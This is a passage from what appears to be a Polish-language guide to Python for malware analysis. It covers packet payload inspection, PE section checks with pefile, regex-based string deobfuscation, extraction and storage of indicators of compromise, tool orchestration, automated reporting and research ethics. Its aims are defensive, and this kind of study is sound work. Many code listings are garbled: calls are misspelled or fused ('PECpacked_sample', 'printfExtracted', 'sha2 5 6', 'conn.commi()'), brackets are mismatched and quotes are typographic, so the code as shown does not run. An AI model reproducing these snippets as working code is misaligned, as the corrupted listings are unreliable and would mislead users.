W tym skrypcie process_packet sprawdza, czy pakiet ma warstwę TCP i czy ta warstwa ma ładunek. 

Jeśli tak, wyodrębnia i drukuje ładunek. Jest to kluczowe dla analizy treści komunikacji. 

Analizowanie zaszyfrowanego ruchu, takiego jak TLS/SSL, jest trudniejsze. Chociaż skrypty Pythona nie 

mogą łatwo odszyfrować tego ruchu bez kluczy szyfrujących, nadal mogą analizować rozmiary 

pakietów, czas i punkty końcowe docelowe, aby wnioskować o złośliwych działaniach. Ustanowienie 

modeli wzorców lub wykrywania anomalii może znacznie pomóc w identyfikowaniu kanałów 

komunikacji złośliwego oprogramowania nawet w zaszyfrowanym ruchu. Ponadto integracja uczenia 

maszynowego w celu wykrywania anomalii w ruchu sieciowym może zautomatyzować i zwiększyć 

zdolność do identyfikowania podejrzanych działań. Biblioteka scikit-learn języka Python oferuje szeroki 

zakres algorytmów, które można trenować na cechach ruchu sieciowego, aby klasyfikować je jako 

łagodne lub złośliwe. Podsumowując, opracowywanie skryptów Pythona do analizy ruchu sieciowego 

w badaniach nad złośliwym oprogramowaniem obejmuje przechwytywanie i analizowanie pakietów, 

filtrowanie ruchu w celu skupienia się na istotnych danych, wyodrębnianie ładunków do dalszej 

inspekcji i stosowanie zaawansowanych technik, takich jak uczenie maszynowe do wykrywania 

anomalii. Wykorzystując rozległy ekosystem bibliotek Pythona, badacze mogą zautomatyzować 

żmudne zadania analizy ruchu sieciowego, umożliwiając bardziej wydajną i głębszą analizę zachowania 

sieciowego złośliwego oprogramowania. 



Techniki rozpakowywania i deobfuskacji za pomocą Pythona 

Rozpakowywanie i deobfuskacja to kluczowe elementy analizy złośliwego oprogramowania. Autorzy 

złośliwego oprogramowania często stosują techniki zaciemniania i pakowania, aby ukryć złośliwy kod, 

co utrudnia analitykom zrozumienie zachowania i intencji złośliwego oprogramowania. Python, dzięki 

bogatemu zestawowi bibliotek i prostocie obsługi danych binarnych, zapewnia doskonałą platformę 

do opracowywania narzędzi do automatyzacji tych procesów. Ta sekcja wyjaśnia metody 

wykorzystania Pythona do rozpakowywania i deobfuskacji. 

Zrozumienie pakowania i zaciemniania 

Przed zanurzeniem się w techniki, konieczne jest zrozumienie, co oznacza pakowanie i zaciemnianie. 

Pakowanie to metoda, za pomocą której autorzy złośliwego oprogramowania kompresują lub szyfrują 

plik binarny złośliwego oprogramowania, wymagając rozpakowania w celu analizy oryginalnej 

zawartości. Z drugiej strony zaciemnianie obejmuje stosowanie różnych technik, aby kod był trudny do 

zrozumienia, odczytania lub analizy, ale bez zmiany jego zachowania wykonawczego. 

Opracowywanie narzędzi do rozpakowywania w Pythonie 

Aby opracować rozpakowywacz w Pythonie, należy najpierw wybrać docelową spakowaną próbkę 

złośliwego oprogramowania. Proces rozpoczyna się od zidentyfikowania algorytmu pakowania lub 

użytego narzędzia. Można to osiągnąć poprzez połączenie ręcznej inspekcji i zautomatyzowanych 

narzędzi, takich jak PEiD lub Detect It Easy (DIE). Po zidentyfikowaniu techniki pakowania, następnym 

krokiem jest wykorzystanie biblioteki pypacker lub pefile Pythona do analizy PE (Portable Executable). 

Oto przykład użycia pefile do inspekcji sekcji spakowanego pliku binarnego: 

1 import pefile 

2 

3 # Load the PE file 

4 pe = pefile.PECpacked_sample.exe’) 

5  

6 # Iterate through the sections 

7 for section in pe.sections: 

8 print(section.Name, hex(section.VirtualAddress), 

9 hex(section.Misc_VirtualSize), section.SizeOfRawData) 

Ten skrypt ładuje plik PE i drukuje szczegóły dotyczące jego sekcji, pomagając w identyfikacji anomalii 

typowo związanych z plikami binarnymi, takich jak niezwykle małe rozmiary surowych danych w 

porównaniu z rozmiarami wirtualnymi. Po zidentyfikowaniu spakowanych sekcji następnym 

wyzwaniem jest wykonanie pliku binarnego do punktu wejścia rozpakowanego kodu. Można to 

ułatwić, używając biblioteki pydbg do interakcji z debugerem i automatyzacji procesu rozpakowywania. 

Techniki deobfuskacji za pomocą Pythona 

Deobfuskacja polega na odwróceniu technik zaciemniania stosowanych przez autorów złośliwego 

oprogramowania. Pythona można wykorzystać do automatyzacji procesu deobfuskacji za pomocą 

rozpoznawania wzorców, wyrażeń regularnych i kontroli wykonywania skryptów. Powszechną 

techniką zaciemniania jest szyfrowanie ciągów. Moduł re Pythona można wykorzystać do identyfikacji 



zaszyfrowanych ciągów na podstawie wzorców. Po identyfikacji można opracować skrypt Pythona w 

celu odszyfrowania tych ciągów. Oto ogólny przykład: 

1 import re 

2 

3 # Encrypted strings pattern 

4 pattern = r"[a-zA-Z0-9+/=]{ 10,}" 

5 

6 encrypted_strings = re.findall(pattern, malware_binary_data) 

7 

8 for string in encrypted.strings: 

9 decrypted_string = decrypt_string(string) # Assume decrypt_string is defined 

10 print(decrypted_string) 

 

Ten przykład wyszukuje zaszyfrowane ciągi w danych binarnych złośliwego oprogramowania, które 

pasują do określonego wzorca, i drukuje ich odszyfrowaną formę, zakładając, że funkcja decrypt_string 

jest zdefiniowana na podstawie użytego algorytmu szyfrowania. 

Automatyzacja analizy za pomocą skryptów Pythona 

Łączenie wysiłków rozpakowywania i deobfuskacji w zautomatyzowane skrypty Pythona zwiększa 

wydajność i skuteczność analizy złośliwego oprogramowania. Obejmuje to tworzenie przepływów 

pracy, które wykorzystują możliwości wejścia/wyjścia plików Pythona, manipulację danymi binarnymi 

i interakcję z narzędziami do debugowania i analizy. Python jest potężnym narzędziem w arsenale 

analityków złośliwego oprogramowania do rozpakowywania i deobfuskacji złośliwego 

oprogramowania. Dzięki swoim bibliotekom i elastyczności w obsłudze różnych typów danych Python 

umożliwia analitykom analizę i zrozumienie nawet najbardziej wyrafinowanych wariantów złośliwego 

oprogramowania, co ostatecznie pomaga w obronie przed złośliwymi aktorami. 

Automatyzacja ekstrakcji wskaźników zagrożenia złośliwego oprogramowania (loC) za pomocą 

Pythona 

Wskaźniki zagrożenia (loC) to artefakty zaobserwowane w sieci lub systemie operacyjnym, które z 

dużym prawdopodobieństwem wskazują na włamanie do komputera. Ekstrakcja loC jest kluczową 

częścią analizy złośliwego oprogramowania, umożliwiając specjalistom ds. cyberbezpieczeństwa 

szybką identyfikację zagrożeń i reagowanie na nie. Python, dzięki swojemu bogatemu ekosystemowi i 

prostocie, jest doskonałym narzędziem do automatyzacji ekstrakcji loC. W tej sekcji omówiono 

wykorzystanie Pythona do ekstrakcji loC, skupiając się na tworzeniu skryptów, korzystaniu z bibliotek 

innych firm i praktycznych przykładach. 

Proces ekstrakcji obejmuje kilka kroków, zaczynając od zbierania i przygotowywania danych, a 

następnie faktycznej ekstrakcji loC, a na końcu przechowywania i raportowania ustaleń. Skrypty 

Pythona mogą usprawnić te kroki, czyniąc proces szybszym i bardziej wydajnym. 

Zbieranie i przygotowywanie danych 



Pierwszym krokiem w automatyzacji ekstrakcji loC za pomocą Pythona jest zebranie i przygotowanie 

danych, z których zostaną wyodrębnione loC. Obejmuje to zazwyczaj pliki binarne, logi lub 

przechwytywanie ruchu sieciowego powiązane z podejrzanym złośliwym oprogramowaniem. Moduły 

os i subprocess języka Python można wykorzystać do automatyzacji gromadzenia danych z różnych 

źródeł.  

1 import os 

2 import subprocess 

3 

4 # Define the source path for suspected malware binaries 

5 source_path = "/path/to/suspected/malware" 

6  

7 # List all files in the source path 

8 malware_files = os.listdir(source_path) 

9  

10 # Copy the malware binaries to a safe analysis environment 

11 for file in malware_files: 

12 subprocess.run(["cp", os.path.join(source_path, file), "/safe/analysis/environment"]) 

Ekstrakcja loC 

Po zebraniu i przygotowaniu danych następnym krokiem jest ekstrakcja loC przy użyciu Pythona. LoC 

mogą być adresami URL, adresami IP, sumami kontrolnymi plików, a nawet określonymi wzorcami 

zachowań złośliwego oprogramowania. Rozbudowany ekosystem bibliotek Pythona, w tym re do 

wyrażeń regularnych, hashlib do hashowania i żądania interakcji sieciowych, ułatwia ten proces. 

1 import re 

2 import hashlib 

3 import requests 

4  

5 # Function to extract URLs from a string 

6 def extract_urls(s): 

7 # Regular expression for matching URLs 

8 urljregex = r’(https?://\S+)’ 

9 urls = re.findall(url_regex, s) 

10 return urls 

11 

12 # Function to generate SHA256 hash of a file 



13 def generate_sha2 56(file_path): 

14 sha256_hash = hashlib.sha2 5 6() 

15 with open(file_path, "rb") as f: 

16 for byte_block in iter(lambda: f.read(4096), b""): 

17 sha2 5 6_hash.update(byte_block) 

18 return sha256_hash.hexdigest() 

19  

20 it Example of usage 

21 example_string = "Visit for more information." 

https://example.com 

22 extracted_urls = extract_urls(example_string) 

23 printfExtracted URLs:’, extracted_urls) 

24 2 5 malware_file_path = "/safe/analysis/environment/malware.bin" 

26 file_sha256 = generate_sha2 56(malware_file_path) 

27 printCFile SHA256:’, file_sha256) 

Przechowywanie i raportowanie wyników 

Po wyodrębnieniu loCs, kluczowe jest ich wydajne przechowywanie i generowanie raportów do dalszej 

analizy i udostępniania informacji o zagrożeniach. Python może współdziałać z bazami danych (np. 

SQLite, MySQL) i tworzyć w tym celu ustrukturyzowane raporty (np. JSON, CSV). 

1 import sqlite3 

2 import json 

3 

4 # Connect to the SQLite database 

5 conn = sqlite3.connect(’ioc_database.db’) 

6 c = conn.cursor() 

7 

8 # Create a table for storing loCs 

9 c.executeC"CREATE TABLE IF NOT EXISTS iocs 

10 (type TEXT, value TEXT, source TEXT)"') 

11 

12 # Insert an loC into the database 

13c.executef'INSERT INTO iocs VALUES (’URL', 'https://example.com', 'malware.bin')") 



14 

15 # Commit the changes and close the connection 

16 conn.commi() 

17 conn.close() 

18 

19 # Generating a JSON report 

20 ioc_report = { 

21 "loCs": { 

22 "URLs": extracted_urls, 

23 "File SHA256": file_sha256 

24 } 

25 } 

26 

27 with open(’ioc_report.json’, 'w') as f: 

28 json.dump(ioc_report, f) 

Automatyzacja ekstrakcji loC przy użyciu Pythona nie tylko przyspiesza proces analizy złośliwego 

oprogramowania, ale także zwiększa dokładność i niezawodność ustaleń. Wykorzystując możliwości 

Pythona, analitycy mogą usprawnić etapy gromadzenia, ekstrakcji i raportowania identyfikacji loC, tym 

samym znacznie zwiększając skuteczność środków cyberbezpieczeństwa przeciwko zagrożeniom ze 

strony złośliwego oprogramowania. 

Integrowanie narzędzi do analizy złośliwego oprogramowania z Pythonem 

Integracja narzędzi do analizy złośliwego oprogramowania w spójne ramy przy użyciu Pythona 

umożliwia efektywną analizę złośliwego kodu poprzez wykorzystanie elastyczności skryptów i 

rozbudowanego ekosystemu bibliotek Pythona. W tej sekcji omówiono podejście do tworzenia 

zintegrowanego środowiska analizy, które łączy zarówno możliwości analizy statycznej, jak i 

dynamicznej. Elastyczność Pythona sprawia, że jest on idealnym wyborem do orkiestracji różnych 

narzędzi do analizy złośliwego oprogramowania, usprawniając proces ekstrakcji, analizy i agregacji 

danych ze złośliwego oprogramowania. 

Wykorzystywanie modułu podprocesu Pythona 

Moduł podprocesu w Pythonie oferuje potężny interfejs do tworzenia nowych procesów, łączenia się 

z ich kanałami wejściowymi/wyjściowymi/błędów i uzyskiwania ich kodów zwrotnych. Jest to 

szczególnie przydatne w przypadku uruchamiania i kontrolowania zewnętrznych narzędzi do analizy 

złośliwego oprogramowania z poziomu skryptu Pythona. 

1 import subprocess 

2 

3 # Example of running an external command and capturing its output 



4 result = subprocess.run([’ls’, ’-1'], stdout=subprocess.PIPE) 

5 print(result.stdout.decode(’utf-8’)) 

łącznie 0 

-rw-r-r- 1 grupa użytkowników 0 10 września 12:34 example.txt 

Podczas integrowania narzędzi do analizy złośliwego oprogramowania często konieczne jest 

przechwycenie wyników tych narzędzi w celu dalszego przetworzenia. Moduł podprocesu ułatwia to, 

umożliwiając przechwycenie standardowych strumieni wyjściowych i błędów standardowych. 

Praca z wirtualnym środowiskiem Pythona w celu integracji narzędzi 

Używanie wirtualnego środowiska Pythona jest niezbędne podczas integrowania wielu narzędzi do 

analizy złośliwego oprogramowania, aby zapobiec konfliktom zależności i zapewnić, że każde narzędzie 

działa w kontrolowanym środowisku. Ta izolacja zwiększa niezawodność procesu analizy. 

1 # Creating a virtual environment in Python 

2 python3 -m venv analysis_env 

3 

4 # Activating the virtual environment 

5 source analysis_env/bin/activate 

W środowisku wirtualnym możesz zainstalować określone wersje bibliotek wymaganych przez 

narzędzia do analizy złośliwego oprogramowania, zapewniając kompatybilność i zapobiegając 

konfliktom. 

Automatyzacja agregacji i analizy danych 

Automatyzacja agregacji i analizy danych z różnych narzędzi do analizy złośliwego oprogramowania ma 

kluczowe znaczenie dla efektywnego badania złośliwego oprogramowania. Skrypty Pythona mogą 

automatyzować proces wykonywania tych narzędzi, przechwytywania ich wyników i analizowania 

odpowiednich informacji. 

1 import subprocess 

2 import json 

3 

4 # Example of automating the execution of a malware analysis tool and parsing its JSON output 

5 result = subprocess.run([’malware_analysis_toor, ’--output=json’], 

6 stdout=subprocess.PIPE) 

7 output = json.loads(result.stdout.decode(’utf-8’)) 

8 

9 print(output) 



Ta automatyzacja znacznie skraca czas potrzebny na analizę próbek złośliwego oprogramowania, 

umożliwiając analitykom skupienie się na interpretacji wyników i opracowywaniu strategii działań 

łagodzących. 

Wykorzystanie bibliotek Pythona do ulepszonej analizy 

Rozległy ekosystem bibliotek Pythona oferuje liczne narzędzia do efektywnej analizy i wizualizacji 

danych. Biblioteki takie jak Pandas do manipulacji danymi i analizy, Matplotlib i Seaborn do wizualizacji 

danych oraz Scikit-learn do uczenia maszynowego mogą w ogromnym stopniu pomóc w analizie cech 

i trendów złośliwego oprogramowania. 

1 import pandas as pd 

2 import matplotlib.pyplot as pit 

3 

4 # Example of using Pandas and Matplotlib to visualize malware data 

5 data = {’Malware Sample’: [’Sample 1’, ’Sample 2’, 'Sample 3’], 

6 ’Infection Rate’: [75, 50,90]} 

7 df = pd.DataFrame(data) 

8  

9 df.plot(kind=’bar', x='Malware Sample’, y=’Infection Rate', color='blue’) 

10 plt.show() 

Ta możliwość umożliwia głębszą analizę danych malware, ułatwiając identyfikację wzorców, trendów i 

anomalii. Integracja narzędzi do analizy malware z Pythonem tworzy potężne środowisko do badania 

malware. Poprzez automatyzację wykonywania narzędzi, agregowanie ich wyników i wykorzystywanie 

bibliotek Pythona do dalszej analizy, badacze mogą znacznie zwiększyć swoją zdolność do zrozumienia 

i łagodzenia zagrożeń malware. Elastyczność i wydajność zapewniane przez Python sprawiają, że jest 

on niezbędnym elementem zestawu narzędzi każdego analityka malware. 

Skrypty do automatycznego raportowania i dokumentowania 

Skrypty do automatycznego raportowania i dokumentowania są kluczowym krokiem w procesie 

analizy złośliwego oprogramowania. Nie tylko usprawniają przepływ pracy, ale także zapewniają, że 

ustalenia są dokładnie i spójnie rejestrowane w celu dalszego przeglądu lub kontroli prawnej. Python, 

z bogatym ekosystemem bibliotek i prostą składnią, jest nieocenionym narzędziem w osiąganiu tych 

celów. W tej sekcji omówiono implementację skryptów Pythona w celu zautomatyzowania 

generowania kompleksowych raportów i prowadzenia dokładnej dokumentacji procesu analizy 

złośliwego oprogramowania. Podstawą skutecznego raportowania analizy złośliwego oprogramowania 

jest systematyczne gromadzenie danych uzyskanych zarówno z faz analizy statycznej, jak i 

dynamicznej. Wszechstronność Pythona pozwala analitykom na bezproblemową integrację 

gromadzenia danych w tych fazach. Skrypty można opracowywać w celu wyodrębnienia szerokiej gamy 

informacji, w tym, ale nie wyłącznie, skrótów plików, ciągów, struktur binarnych, wywołań API i danych 

o ruchu sieciowym. W kolejnych podsekcjach szczegółowo opisano metodologie tworzenia skryptów 

tych procesów, zapewniając pełną konsolidację ustaleń analizy. Ekstrakcja i strukturyzacja danych 



Pierwszym krokiem w automatycznym raportowaniu jest ekstrakcja i strukturyzacja danych zebranych 

podczas procesu analizy złośliwego oprogramowania. Skrypty Pythona można zaprojektować tak, aby 

współdziałały z narzędziami analitycznymi i bibliotekami, przechwytując ich wyniki w 

ustrukturyzowanym formacie, takim jak JSON lub XML. Ten ustrukturyzowany format danych ułatwia 

łatwe parsowanie i organizację danych, torując drogę do wydajnej dokumentacji. 

1 import json 

2 

3 analysis.data = { 

4 ’file_hash': ’abcdl234efgh5678’, 

5 'identified.strings': [’sampleStringl’, 'sampleString2'], 

6 ’binary.structure’: { 

7 *entry_point’: ’0x00400000’, 

8 'sections': ['text', ’data', 'rdata'] 

9 }, 

10 ’api.calls’: ['CreateFileW', 'ReadFile', ’WriteFile’], 

11 'network.traffic': [ 

12 {’type’: 'DNS', ’request’: ’malicious.com'}, 

13 {’type’: 'HTTP', ’request’: ’ 

http://malicious.com/payload.exe'} 

14 ] 

15 } 

16 

17 with open(’analysis_data.json’, 'w') as file: 

18 json.dump(analysis_data, file) 

Generowanie raportów 

Po zebraniu i ustrukturyzowaniu danych następnym krokiem jest wygenerowanie czytelnych raportów. 

Możliwości generowania raportów Pythona można wykorzystać za pośrednictwem bibliotek, takich jak 

ReportLab lub Jinja2, umożliwiając tworzenie dokumentów PDF lub stron HTML, które zwięźle 

przedstawiają wyniki analizy. Poniższy przykład pokazuje użycie Jinja2 do generowania raportu HTML. 

1 from jinja2 import Environment, FileSystemLoader 

2 

3 env = Environment(loader=FileSystemLoader(’templates’)) 

4 template = env.get_templateCreport_template.htmr) 

5 



6 analysis_data = [ 

7 # Analysis data as structured before 

8 } 

9  

10 html_output = template.render(analysis_data=analysis_data) 

11  

12 with open('malware_analysis_report.htmT, 'w') as file: 

13 file.write(html_output) 

Należy zaprojektować szablon HTML (‘report_template.html’) w celu ułożenia struktury raportu, której 

silnik Jinja2 używa do wypełniania rzeczywistymi danymi zebranymi podczas analizy. Ta metoda 

zapewnia, że raporty są nie tylko zautomatyzowane, ale również ujednolicone, zmniejszając tym 

samym ryzyko wystąpienia błędu ludzkiego. 

Automatyzacja dokumentacji 

Oprócz generowania raportów, niezbędne jest prowadzenie szczegółowej dokumentacji procesu 

analizy złośliwego oprogramowania. Obejmuje to rejestrowanie każdego podjętego kroku, użytych 

narzędzi i uzasadnienia decyzji dotyczących analizy. Python może również zautomatyzować ten aspekt, 

przechowując dziennik operacji wykonywanych podczas analizy. Korzystając z wbudowanej biblioteki 

rejestrowania Pythona, analitycy mogą pisać skrypty, które systematycznie dokumentują każdy krok 

procedury. 

1 import logging 

2 

3 logging.basicConfig(filename='analysis_log.txt', level=logging.INFO, 

4 format=’%(asctime)s - %(levelname)s - %(message)s’) 

5 

6 # Example of logging 

7 logging.info(’Static analysis started’) 

8 logging.info(’Dynamic analysis started’) 

9 # Further log statements follow as analysis progresses 

Ponadto, zintegrowanie tych możliwości rejestrowania w skryptach analizy zapewnia, że dokumentacja 

jest zarówno kompleksowa, jak i współczesna z analizą, zapewniając precyzyjną oś czasu podjętych 

działań. Ta sekcja szczegółowo opisuje, w jaki sposób Python może być skutecznie używany do 

automatyzacji aspektów raportowania i dokumentowania analizy złośliwego oprogramowania. 

Poprzez skrypty analitycy mogą usprawnić proces wyodrębniania danych, generowania czytelnych 

raportów i utrzymywania rygorystycznej dokumentacji. Wdrożenie tych metodologii nie tylko zwiększa 

wydajność i dokładność, ale także zapewnia, że wyniki analizy są dobrze udokumentowane i łatwo 

dostępne do przeglądu lub dalszej analizy. W miarę jak złośliwe oprogramowanie nadal ewoluuje pod 



względem złożoności, rola automatycznego raportowania i dokumentowania stanie się coraz bardziej 

centralna w dziedzinie cyberbezpieczeństwa. 

Rozważania etyczne w badaniach i analizie złośliwego oprogramowania 

Dziedzina badań i analizy złośliwego oprogramowania, choć kluczowa w walce z cyberzagrożeniami, 

jest obarczona wyzwaniami etycznymi. Badacze w tej dziedzinie zagłębiają się w ciemne zakątki 

Internetu i codziennie wchodzą w interakcje z potencjalnie szkodliwym kodem. Konieczne jest, aby 

prowadzili swoje badania w sposób odpowiedzialny, upewniając się, że ich praca nie spowoduje 

nieumyślnie szkody ani nie przyczyni się do rozprzestrzeniania złośliwego oprogramowania. W tej sekcji 

opisano kluczowe zagadnienia etyczne, które należy uwzględnić podczas prowadzenia badań i analizy 

złośliwego oprogramowania. 

• Niezłośliwe intencje: Dla badaczy fundamentalne jest prowadzenie działań w sposób niezłośliwy. 

Eksploracja i analiza złośliwego oprogramowania powinny być wykonywane wyłącznie w celu 

zrozumienia jego zachowania, poprawy środków bezpieczeństwa i opracowania obrony przed takimi 

zagrożeniami. Wszelkie działania, które mogłyby przyczynić się do rozpowszechniania lub skuteczności 

złośliwego oprogramowania, są całkowicie nieetyczne. 

• Rozważania dotyczące prywatności: Często analiza złośliwego oprogramowania wiąże się z 

przetwarzaniem poufnych danych. Badacze mogą napotkać dane osobowe, chronione informacje o 

stanie zdrowia (PHI) lub poufne dane korporacyjne podczas analizy. Najważniejsze jest, aby obchodzić 

się z takimi danymi z najwyższym poszanowaniem prywatności i poufności. Wszelkie dane, które nie 

są bezpośrednio związane z badaniami, powinny zostać niezwłocznie i bezpiecznie usunięte. 

• Zgodność z prawem: Przestrzeganie wymogów prawnych ma zasadnicze znaczenie w badaniach nad 

złośliwym oprogramowaniem. Może to obejmować przepisy dotyczące prywatności, ochrony danych i 

niewłaściwego użytkowania komputera, między innymi. Badacze muszą upewnić się, że ich metody 

uzyskiwania, analizowania i przechowywania próbek złośliwego oprogramowania są zgodne ze 

wszystkimi obowiązującymi przepisami i regulacjami. 

• Odpowiedzialne ujawnianie: Po odkryciu luk lub nowych wariantów złośliwego oprogramowania 

badacze stają przed kluczową decyzją, w jaki sposób ujawnić swoje ustalenia. Odpowiedzialne 

ujawnianie obejmuje prywatne powiadomienie poszkodowanych stron lub organizacji, dając im 

wystarczająco dużo czasu na zajęcie się problemem przed upublicznieniem informacji. Takie podejście 

pomaga zminimalizować potencjalne wykorzystanie luk przez złośliwych aktorów. 

• Współpraca społeczności: Społeczność cyberbezpieczeństwa czerpie ogromne korzyści ze współpracy 

i dzielenia się wiedzą. Jednak istotne jest znalezienie równowagi między udostępnianiem informacji, 

które mogą pomóc w ochronie przed zagrożeniami, a ukrywaniem szczegółów, które mogłyby pomóc 

atakującym. Podczas wnoszenia wkładu do publicznych baz danych lub forów badacze powinni 

rozważnie podchodzić do poziomu szczegółowości, jaki podają. 

• Świadoma zgoda: W scenariuszach, w których badania obejmują interakcje z innymi stronami (np. 

wysyłanie potencjalnie złośliwego ładunku do usługi analizy), uzyskanie świadomej zgody jest 

kluczowe. Strony powinny być świadome charakteru badań, potencjalnych ryzyk i zamierzonego 

wykorzystania wszelkich zebranych danych. 

• Minimalizacja ryzyka: Badacze muszą podjąć wszelkie niezbędne środki ostrożności, aby 

zminimalizować ryzyko związane ze swoją pracą. Wiąże się to z wdrożeniem solidnych środków 

bezpieczeństwa mających na celu zapobieganie przypadkowemu udostępnieniu złośliwego 

oprogramowania oraz zapewnieniem izolacji i bezpieczeństwa środowisk analitycznych. 



Zasady te stanowią podstawę etycznego postępowania w badaniach i analizie złośliwego 

oprogramowania. Przestrzegając tych wytycznych, badacze mogą przyczynić się do rozwoju 

cyberbezpieczeństwa w sposób odpowiedzialny, legalny i etyczny. 


